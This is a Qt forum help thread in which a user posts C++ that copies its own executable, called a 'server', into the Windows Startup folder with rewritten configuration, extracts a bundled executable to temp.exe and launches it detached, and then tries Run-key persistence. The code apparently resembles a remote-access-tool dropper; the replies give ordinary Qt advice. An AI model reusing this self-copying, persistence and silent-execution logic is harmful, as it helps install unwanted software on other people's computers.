Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • Users
  • Groups
  • Search
  • Get Qt Extensions
  • Unsolved
Collapse
Brand Logo
  1. Home
  2. Qt Development
  3. General and Desktop
  4. Help with this code copying my application startup
Qt 6.11 is out! See what's new in the release blog

Help with this code copying my application startup

Scheduled Pinned Locked Moved Solved General and Desktop
8 Posts 4 Posters 2.1k Views 2 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • RIVOPICOR Offline
    RIVOPICOR Offline
    RIVOPICO
    wrote on last edited by RIVOPICO
    #1

    Hi i want to run my qt app since startup.
    QIODevice::write (QFile, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\miprogram.exe"): device not open

    Code, in the code i have the function tiempocopiar to copy and the other function to put my new configuration for my tool:

    //
    void MainWindow::tiempoCopiar()
    {
        /** Copia el servidor al directorio de inicio **/
        QByteArray datos = nuevaTrama(); //Reconstruimos la configuración con algunas modificaciones para el servidor copiado
        //Copiar a los posibles directorios de inicio de windows
        copiarServidor(datos,QDir::homePath().left(2) + "/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/" + this->nombreCopiable);//
        
        copiar.stop();
    }
    
    
    void MainWindow::copiarServidor(QByteArray tramaConfiguracion, QString destino)
    {
    /** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
        QString home = directorio.homePath(); //ruta absoluta del directorio raiz del usuario
        QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
        if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
        {
            //TODO: ":Esto está muy poco optimizado, mejorar más adelante."
            QDir directorio;
            qint64 tamano;
            tamano = this->tamanoAdjunto;
            QFile adjunto;
            QFile servidor;
            adjunto.setFileName(directorio.tempPath() + "/temp.exe");
            servidor.setFileName(QApplication::applicationFilePath());
            adjunto.open(QFile::WriteOnly);
            servidor.open(QFile::ReadOnly);
            if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
            {
                QFile copiable;
                copiable.setFileName(destino);
                copiable.open(QFile::WriteOnly);
                copiable.write(servidor.read(servidor.size() - 1024 - tamano));
                copiable.write(tramaConfiguracion,1024);
                copiable.close();
            }
            servidor.seek(servidor.size() - 1024 - tamano);
            adjunto.write(servidor.read(tamano));
            servidor.close();
            adjunto.close();
            proceso.setWorkingDirectory(directorio.tempPath());
            QString exeFileName = directorio.tempPath() + "/temp.exe";
            QProcess::startDetached(exeFileName);
        }
        else
        {
            if(this->nombreCopiable != "noiniciar")
            {
                QFile servidor;
                QFile copiable;
                servidor.setFileName(QApplication::applicationFilePath());
                copiable.setFileName(destino);
                copiable.open(QFile::WriteOnly);
                servidor.open(QFile::ReadOnly);
                copiable.write(servidor.read(servidor.size() - 1024));
                copiable.write(tramaConfiguracion,1024);
                copiable.close();
                servidor.close();
            }
        }
    }
    jsulmJ 1 Reply Last reply
    0
    • RIVOPICOR RIVOPICO

      Hi i want to run my qt app since startup.
      QIODevice::write (QFile, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\miprogram.exe"): device not open

      Code, in the code i have the function tiempocopiar to copy and the other function to put my new configuration for my tool:

      //
      void MainWindow::tiempoCopiar()
      {
          /** Copia el servidor al directorio de inicio **/
          QByteArray datos = nuevaTrama(); //Reconstruimos la configuración con algunas modificaciones para el servidor copiado
          //Copiar a los posibles directorios de inicio de windows
          copiarServidor(datos,QDir::homePath().left(2) + "/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/" + this->nombreCopiable);//
          
          copiar.stop();
      }
      
      
      void MainWindow::copiarServidor(QByteArray tramaConfiguracion, QString destino)
      {
      /** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
          QString home = directorio.homePath(); //ruta absoluta del directorio raiz del usuario
          QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
          if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
          {
              //TODO: ":Esto está muy poco optimizado, mejorar más adelante."
              QDir directorio;
              qint64 tamano;
              tamano = this->tamanoAdjunto;
              QFile adjunto;
              QFile servidor;
              adjunto.setFileName(directorio.tempPath() + "/temp.exe");
              servidor.setFileName(QApplication::applicationFilePath());
              adjunto.open(QFile::WriteOnly);
              servidor.open(QFile::ReadOnly);
              if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
              {
                  QFile copiable;
                  copiable.setFileName(destino);
                  copiable.open(QFile::WriteOnly);
                  copiable.write(servidor.read(servidor.size() - 1024 - tamano));
                  copiable.write(tramaConfiguracion,1024);
                  copiable.close();
              }
              servidor.seek(servidor.size() - 1024 - tamano);
              adjunto.write(servidor.read(tamano));
              servidor.close();
              adjunto.close();
              proceso.setWorkingDirectory(directorio.tempPath());
              QString exeFileName = directorio.tempPath() + "/temp.exe";
              QProcess::startDetached(exeFileName);
          }
          else
          {
              if(this->nombreCopiable != "noiniciar")
              {
                  QFile servidor;
                  QFile copiable;
                  servidor.setFileName(QApplication::applicationFilePath());
                  copiable.setFileName(destino);
                  copiable.open(QFile::WriteOnly);
                  servidor.open(QFile::ReadOnly);
                  copiable.write(servidor.read(servidor.size() - 1024));
                  copiable.write(tramaConfiguracion,1024);
                  copiable.close();
                  servidor.close();
              }
          }
      }
      jsulmJ Offline
      jsulmJ Offline
      jsulm
      Lifetime Qt Champion
      wrote on last edited by
      #2

      @RIVOPICO You should check what open() returns and if it returns false print out http://doc.qt.io/qt-5/qiodevice.html#errorString
      I think you should not copy your exe to that location: it will not run without all needed Qt DLLs. You should create a link to your exe there.

      https://forum.qt.io/topic/113070/qt-code-of-conduct

      1 Reply Last reply
      1
      • RIVOPICOR Offline
        RIVOPICOR Offline
        RIVOPICO
        wrote on last edited by RIVOPICO
        #3

        Yes the problem is the rights some way to link this to my startup?. I could use settings to put in my Run folder when i copied the file

        jsulmJ 1 Reply Last reply
        0
        • RIVOPICOR RIVOPICO

          Yes the problem is the rights some way to link this to my startup?. I could use settings to put in my Run folder when i copied the file

          jsulmJ Offline
          jsulmJ Offline
          jsulm
          Lifetime Qt Champion
          wrote on last edited by
          #4

          @RIVOPICO You should use C:\Users\USER_NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.
          And as I said you should NOT copy your whole application there!
          It's not how it should work.
          Create a link to your executable there.

          https://forum.qt.io/topic/113070/qt-code-of-conduct

          1 Reply Last reply
          0
          • Venkatesh VV Offline
            Venkatesh VV Offline
            Venkatesh V
            wrote on last edited by
            #5

            Hai...
            While giving filepath use forward slash(/) instead of backward(\).
            It may works...try this..

            1 Reply Last reply
            0
            • RIVOPICOR Offline
              RIVOPICOR Offline
              RIVOPICO
              wrote on last edited by RIVOPICO
              #6

              Ok folder appdata not Works for startup i will try this
              QSettings settings("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
              QSettings::NativeFormat);
              settings.setValue("YourApplicationName",
              QCoreApplication::applicationFilePath().replace('/', '\'));

              1 Reply Last reply
              0
              • RIVOPICOR Offline
                RIVOPICOR Offline
                RIVOPICO
                wrote on last edited by RIVOPICO
                #7

                i can change the path of the file with this?:
                QSettings settings("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
                QSettings::NativeFormat);
                settings.setValue("YourApplicationName",
                QCoreApplication::applicationFilePath().replace('/', ''));
                And if i cant , i can call the other file? I want to change the path of file to other. And i know not it is good idea yes

                1 Reply Last reply
                0
                • SGaistS Offline
                  SGaistS Offline
                  SGaist
                  Lifetime Qt Champion
                  wrote on last edited by
                  #8

                  Hi,

                  QDir offers the toNativeSeparator.

                  Interested in AI ? www.idiap.ch
                  Please read the Qt Code of Conduct - https://forum.qt.io/topic/113070/qt-code-of-conduct

                  1 Reply Last reply
                  0

                  • Login

                  • Login or register to search.
                  • First post
                    Last post
                  0
                  • Categories
                  • Recent
                  • Tags
                  • Popular
                  • Users
                  • Groups
                  • Search
                  • Get Qt Extensions
                  • Unsolved